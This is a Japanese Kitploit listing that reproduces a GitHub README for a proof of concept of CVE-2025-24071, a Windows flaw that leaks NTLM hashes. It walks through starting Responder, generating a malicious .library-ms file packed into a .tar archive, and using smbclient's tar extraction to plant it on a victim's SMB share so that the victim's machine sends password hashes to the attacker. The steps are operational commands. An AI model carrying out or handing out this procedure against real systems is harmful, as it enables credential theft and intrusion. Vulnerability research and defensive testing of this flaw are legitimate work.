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SMB_CVE-2025-24071 — CVE-2025-24071を悪用し、.tarアーカイブ内に.library-msファイルをホスティングしてSMB経由で攻撃。smbclientのtar xを使用すると、ペイロードがユーザーの操作なしにサーバー側で展開されます。ターゲットがライブラリにアクセスすると、ResponderがNTLMハッシュをキャプチャします。 | Kitploit
ツール/GitHubGitHub/ex-cal1bur/smb_cve-2025-24071
パスワード攻撃ペイロード生成脆弱性分析エクスプロイトペネトレーションテストレッドチーミング
GitHubex-cal1bur/smb_cve-2025-24071

SMB_CVE-2025-24071

CVE-2025-24071を悪用し、.tarアーカイブ内に.library-msファイルをホスティングしてSMB経由で攻撃。smbclientのtar xを使用すると、ペイロードがユーザーの操作なしにサーバー側で展開されます。ターゲットがライブラリにアクセスすると、ResponderがNTLMハッシュをキャプチャします。

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311年前未レビュー

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CVE-2025-24071 PoC (SMB + TAR抽出方式)

これは、.library-ms ファイルを介してNTLMハッシュ漏洩を引き起こすWindowsの脆弱性 CVE-2025-24071 を悪用するPoCです。このバージョンは、.zip の代わりに .tar アーカイブを使用することで、SMBのみの環境での互換性を向上させている点が他と少し異なります。

📌 なぜ .zip ではなく .tar なのか?

ほとんどの公開PoCは、悪意のある .library-ms ファイルをパッケージ化するために .zip を使用しています。しかし、制限されたSMB環境(例:smbclient 経由でのみアクセス可能)で作業している場合、ZIPファイルはリモートで抽出できません。.tar アーカイブを使用することで、smbclient に組み込まれた tar コマンドを使用してSMB共有からペイロードを直接抽出でき、ユーザーの操作を必要とせずにリモートデプロイが可能です。


🔧 必要条件

  • 攻撃側マシン:
    • Responder がインストールされ実行中であること
    • SMBサーバー(例:Responder、impacket-smbserver、または samba)
  • 被害側マシン:
    • 攻撃側IPへのSMBアクセスが有効なWindows

🧪 手順

1. Responderを起動

適切なインターフェースでResponderを起動します。

root@kitploit:~
sudo responder -I <interface>

ペイロード内のIPがこのインターフェースと一致していることを確認してください。

2. 悪意のある .library-ms を生成し、.tar にパッケージ化

root@kitploit:~
python3 create_tar_poc.py

以下の入力を求められます:

  • ファイル名(例:exploit)
  • 攻撃側のIP(例:192.168.1.100)

これにより以下が生成されます:

  • exploit.library-ms (inside exploit.tar)
  • exploit.tar

3. 被害側のSMB共有にアップロードして抽出

攻撃側マシンから、被害側のSMB共有にsmbclientを使用して接続します。

root@kitploit:~
smbclient //<victim_ip>/<sharename> -U <USERNAME>
put exploit.tar
tar x exploit.tar

これにより、.library-ms が共有に展開されます。

exploit.tar が抽出されると、悪意のあるXMLを含む .library-ms ファイルが、私たちのマシン上で動作しているアクティブなResponderであるSMBに接続し、ユーザー名、ドメイン、ユーザーのパスワードのNTLMハッシュを含むリクエストを送信することでNTLMを使用した認証試行を開始します。このハッシュは後で復号できます。

📽️ PoCビデオ

近日公開予定...

🙏 クレジット

Daniel Miranda Barcelona 別名 Excal1bur | 0x6rss によるオリジナル作品に基づき、ラボシナリオにおけるTARベースのSMB展開用に適合。

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